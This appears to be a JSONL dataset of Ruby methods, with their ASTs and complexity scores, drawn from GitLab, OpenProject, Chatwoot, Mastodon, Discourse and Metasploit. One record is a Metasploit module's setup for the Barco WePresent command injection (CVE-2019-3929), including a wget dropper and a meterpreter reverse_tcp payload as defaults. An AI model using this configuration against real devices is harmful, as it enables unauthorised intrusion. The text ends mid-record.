{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/graphql_keyset_pagination.rb","start_line":12,"raw_source":"def paginate_with_keyset(scope, pagination_params = params)\n        keyset_scope, success = ::Gitlab::Pagination::Keyset::SimpleOrderBuilder.build(scope)\n        raise ::Gitlab::Pagination::Keyset::UnsupportedScopeOrder unless success\n\n        order = ::Gitlab::Pagination::Keyset::Order.extract_keyset_order_object(keyset_scope)\n        paginated_scope = apply_graphql_cursor_conditions(keyset_scope, order, pagination_params)\n\n        limit = pagination_params[:first] || pagination_params[:last] || default_page_limit\n        records = paginated_scope.limit(limit + 1).to_a\n\n        has_more = records.size > limit\n        records = records.slice(0, limit)\n\n        # Reverse if using 'last'\n        records.reverse! if pagination_params[:last].present?\n\n        {\n          records: records,\n          page_info: build_keyset_page_info(order, records, has_more, pagination_params)\n        }\n      end","complexity_score":34.2,"ast_json":"{\"type\":\"def\",\"children\":[\"paginate_with_keyset\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]},{\"type\":\"optarg\",\"children\":[\"pagination_params\",{\"type\":\"send\",\"children\":[null,\"params\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"keyset_scope\"]},{\"type\":\"lvasgn\",\"children\":[\"success\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Pagination\"]},\"Keyset\"]},\"SimpleOrderBuilder\"]},\"build\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"success\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Pagination\"]},\"Keyset\"]},\"UnsupportedScopeOrder\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"order\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Pagination\"]},\"Keyset\"]},\"Order\"]},\"extract_keyset_order_object\",{\"type\":\"lvar\",\"children\":[\"keyset_scope\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"paginated_scope\",{\"type\":\"send\",\"children\":[null,\"apply_graphql_cursor_conditions\",{\"type\":\"lvar\",\"children\":[\"keyset_scope\"]},{\"type\":\"lvar\",\"children\":[\"order\"]},{\"type\":\"lvar\",\"children\":[\"pagination_params\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"limit\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pagination_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pagination_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"last\"]}]}]},{\"type\":\"send\",\"children\":[null,\"default_page_limit\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paginated_scope\"]},\"limit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"limit\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"to_a\"]}]},{\"type\":\"lvasgn\",\"children\":[\"has_more\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"size\"]},\">\",{\"type\":\"lvar\",\"children\":[\"limit\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"slice\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"limit\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pagination_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"last\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"reverse!\"]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"records\"]},{\"type\":\"lvar\",\"children\":[\"records\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page_info\"]},{\"type\":\"send\",\"children\":[null,\"build_keyset_page_info\",{\"type\":\"lvar\",\"children\":[\"order\"]},{\"type\":\"lvar\",\"children\":[\"records\"]},{\"type\":\"lvar\",\"children\":[\"has_more\"]},{\"type\":\"lvar\",\"children\":[\"pagination_params\"]}]}]}]}]}]}","id":"8d47a6a4-e1b4-4f36-bee9-ac671c8bb2b2"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/typeahead_filter.rb","start_line":52,"raw_source":"def subject_condition(string)\n    Queries::Operators::Contains.sql_for_field([string], WorkPackage.table_name, \"subject\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"subject_condition\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Queries\"]},\"Operators\"]},\"Contains\"]},\"sql_for_field\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"table_name\"]},{\"type\":\"str\",\"children\":[\"subject\"]}]}]}","id":"a9bb589b-91f1-4138-8ffb-bdac4aa49316"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/listeners/agent_bot_listener.rb","start_line":22,"raw_source":"def message_created(event)\n    message = extract_message_and_account(event)[0]\n    inbox = message.inbox\n    return unless connected_agent_bot_exist?(inbox)\n    return unless message.webhook_sendable?\n\n    method_name = __method__.to_s\n    process_message_event(method_name, inbox.agent_bot, message, event)\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"message_created\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extract_message_and_account\",{\"type\":\"lvar\",\"children\":[\"event\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"inbox\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"inbox\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connected_agent_bot_exist?\",{\"type\":\"lvar\",\"children\":[\"inbox\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"webhook_sendable?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"method_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__method__\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"process_message_event\",{\"type\":\"lvar\",\"children\":[\"method_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inbox\"]},\"agent_bot\"]},{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]}","id":"2bd2d86b-0a1d-4356-bdab-098491268f1f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/trends/tags_controller.rb","start_line":33,"raw_source":"def tags_from_trends\n    scope = Trends.tags.query.allowed.in_locale(content_locale)\n    scope = scope.filtered_for(current_account) if user_signed_in?\n    scope\n  end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"tags_from_trends\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Trends\"]},\"tags\"]},\"query\"]},\"allowed\"]},\"in_locale\",{\"type\":\"send\",\"children\":[null,\"content_locale\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_signed_in?\"]},{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"filtered_for\",{\"type\":\"send\",\"children\":[null,\"current_account\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]}","id":"14f05eb4-7754-4120-8a20-bf93513fbb06"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/features/support/components/danger_zone.rb","start_line":65,"raw_source":"def confirm_with(value)\n    confirmation_field.set value\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"confirm_with\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"confirmation_field\"]},\"set\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"f107911b-a4d5-4631-a450-331d1ddeea26"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/wepresent_cmd_injection.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"Barco WePresent file_transfer.cgi Command Injection\",\n        'Description' => %q{\n          This module exploits an unauthenticated remote command injection\n          vulnerability found in Barco WePresent and related OEM'ed products.\n          The vulnerability is triggered via an HTTP POST request to the\n          file_transfer.cgi endpoint.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => 'Jacob Baines', # @Junior_Baines'\n        'References' => [\n          ['CVE', '2019-3929'],\n          ['EDB', '46786'],\n          ['URL', 'https://medium.com/tenable-techblog/eight-devices-one-exploit-f5fc28c70a7c']\n        ],\n        'DisclosureDate' => \"2019-04-30\",\n        'Platform' => ['unix', 'linux'],\n        'Arch' => [ARCH_CMD, ARCH_ARMLE],\n        'Privileged' => false,\n        'Targets' => [\n          [\n            'Unix In-Memory',\n            'Platform' => 'unix',\n            'Arch' => ARCH_CMD,\n            'Type' => :unix_memory,\n            'Payload' => {\n              'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnetd' }\n            }\n          ],\n          [\n            'Linux Dropper',\n            'Platform' => 'linux',\n            'Arch' => ARCH_ARMLE,\n            'CmdStagerFlavor' => ['printf', 'wget'],\n            'Type' => :linux_dropper\n          ]\n        ],\n        'DefaultTarget' => 1,\n        'DefaultOptions' => {\n          'SSL' => true,\n          'RPORT' => 443,\n          'CMDSTAGER::FLAVOR' => 'printf',\n          'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'\n        },\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Barco WePresent file_transfer.cgi Command Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an unauthenticated remote command injection\\n\"]},{\"type\":\"str\",\"children\":[\"          vulnerability found in Barco WePresent and related OEM'ed products.\\n\"]},{\"type\":\"str\",\"children\":[\"          The vulnerability is triggered via an HTTP POST request to the\\n\"]},{\"type\":\"str\",\"children\":[\"          file_transfer.cgi endpoint.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"Jacob Baines\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2019-3929\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"46786\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://medium.com/tenable-techblog/eight-devices-one-exploit-f5fc28c70a7c\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2019-04-30\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_ARMLE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix In-Memory\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"unix_memory\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"telnetd\"]}]}]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux Dropper\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_ARMLE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CmdStagerFlavor\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"printf\"]},{\"type\":\"str\",\"children\":[\"wget\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"linux_dropper\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[443]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CMDSTAGER::FLAVOR\"]},{\"type\":\"str\",\"children\":[\"printf\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"linux/armle/meterpreter/reverse_tcp\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"3816f85b-6eac-43a1-a88f-68c2a3681ca0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/background_migration/backfill_has_issues_for_external_issue_links_spec.rb","start_line":112,"raw_source":"def create_identifier(project, overrides = {})\n    attrs = {\n      project_id: project.id,\n      external_id: \"CVE-2018-1234\",\n      external_type: \"CVE\",\n      name: \"CVE-2018-1234\",\n      fingerprint: SecureRandom.hex(20)\n    }.merge(overrides)\n\n    vulnerability_identifiers.create!(attrs)\n  end","complexity_score":7.95,"ast_json":"{\"type\":\"def\",\"children\":[\"create_identifier\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"optarg\",\"children\":[\"overrides\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"external_id\"]},{\"type\":\"str\",\"children\":[\"CVE-2018-1234\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"external_type\"]},{\"type\":\"str\",\"children\":[\"CVE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"CVE-2018-1234\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\",{\"type\":\"int\",\"children\":[20]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"overrides\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vulnerability_identifiers\"]},\"create!\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]}]}","id":"2827ecde-376a-48ba-b2fa-060c09e97b13"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/admin/clusters_controller_spec.rb","start_line":119,"raw_source":"def post_create_user\n      post :create_user, params: params\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"post_create_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"sym\",\"children\":[\"create_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]}]}]}]}","id":"c17dde17-ef48-4cc5-955d-7a085497bdf2"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/concerns/label_concern.rb","start_line":2,"raw_source":"def create\n    model.update_labels(permitted_params[:labels])\n    @labels = model.label_list\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"update_labels\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"labels\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@labels\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"label_list\"]}]}]}]}","id":"91477e0e-9762-41eb-8842-bb65356e017f"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/truncate_logs_formatter.rb","start_line":13,"raw_source":"def call(*args)\n    # Lograge formatters are only called with a single argument instead of the usual 4 arguments of `severity`, `datetime`, `progname` and `message`.\n    message =\n      if args.length == 1\n        args[0]\n      else\n        args[3]\n      end\n\n    if message.length > @log_line_max_chars\n      newlines = message.length - message.chomp.length\n      \"#{message[0, @log_line_max_chars]}...(truncated)#{\"\\n\" * newlines}\"\n    else\n      message\n    end\n  end","complexity_score":19.43,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"length\"]},\">\",{\"type\":\"ivar\",\"children\":[\"@log_line_max_chars\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"newlines\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"length\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"chomp\"]},\"length\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"ivar\",\"children\":[\"@log_line_max_chars\"]}]}]},{\"type\":\"str\",\"children\":[\"...(truncated)\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"newlines\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}","id":"5ac97082-75b9-454e-ba49-f7f45d4c6578"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/internal_events_spec.rb","start_line":83,"raw_source":"def expect_snowplow_tracking(expected_namespace = nil, expected_additional_properties = {}, extra: {})\n    service_ping_context = Gitlab::Tracking::ServicePingContext\n      .new(data_source: :redis_hll, event: event_name)\n      .to_context\n      .to_json\n\n    expect(SnowplowTracker::SelfDescribingJson).to have_received(:new)\n      .with(service_ping_context[:schema], service_ping_context[:data]).at_least(:once)\n\n    expect(fake_snowplow).to have_received(:event) do |provided_category, provided_event_name, args|\n      expect(provided_category).to eq(category)\n      expect(provided_event_name).to eq(event_name)\n\n      expect(args).to include(expected_additional_properties)\n      contexts = args[:context]&.map(&:to_json)\n\n      # Verify Standard Context\n      standard_context = contexts.find do |c|\n        c[:schema] == Gitlab::Tracking::StandardContext::GITLAB_STANDARD_SCHEMA_URL\n      end\n\n      validate_standard_context(standard_context, expected_namespace, extra)\n\n      # Verify Service Ping context\n      service_ping_context = contexts.find { |c| c[:schema] == Gitlab::Tracking::ServicePingContext::SCHEMA_URL }\n\n      validate_service_ping_context(service_ping_context)\n    end\n  end","complexity_score":60.7,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_snowplow_tracking\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"expected_namespace\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"expected_additional_properties\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"extra\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_ping_context\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Tracking\"]},\"ServicePingContext\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data_source\"]},{\"type\":\"sym\",\"children\":[\"redis_hll\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event\"]},{\"type\":\"send\",\"children\":[null,\"event_name\"]}]}]}]},\"to_context\"]},\"to_json\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SnowplowTracker\"]},\"SelfDescribingJson\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"have_received\",{\"type\":\"sym\",\"children\":[\"new\"]}]},\"with\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_ping_context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"schema\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_ping_context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]}]},\"at_least\",{\"type\":\"sym\",\"children\":[\"once\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"fake_snowplow\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_received\",{\"type\":\"sym\",\"children\":[\"event\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"provided_category\"]},{\"type\":\"arg\",\"children\":[\"provided_event_name\"]},{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"provided_category\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[null,\"category\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"provided_event_name\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[null,\"event_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"args\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"lvar\",\"children\":[\"expected_additional_properties\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"contexts\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"context\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_json\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"standard_context\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contexts\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children